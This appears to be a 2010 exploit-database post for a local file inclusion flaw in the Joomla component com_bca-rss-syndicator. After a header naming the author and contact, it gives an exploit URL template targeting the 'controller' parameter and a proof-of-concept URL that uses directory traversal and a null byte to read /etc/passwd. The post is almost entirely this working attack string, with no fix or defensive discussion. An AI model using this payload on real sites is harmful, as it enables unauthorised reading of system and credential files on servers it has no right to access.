Joomla Component com_bca-rss-syndicator LFI Vulnerability
Posted on 05 April 2010
========================================================= Joomla Component com_bca-rss-syndicator LFI Vulnerability ========================================================= ================================================================================================ Title : Joomla Component com_bca-rss-syndicator LFI Vulnerability Date : Monday, 05 April 2010 (Indonesia) Author : Vrs-hCk Contact : ander[at]antisecurity.org Blog : http://c0li.blogspot.com/ ================================================================================================ [+] Exploit http://[site]/[path]/index.php?option=com_bca-rss-syndicator&controller=[LFI] [+] PoC http://localhost/index.php?option=com_bca-rss-syndicator&controller=../../../../../../../etc/passwd%00 ================================================================================================ # Inj3ct0r.com [2010-04-05]
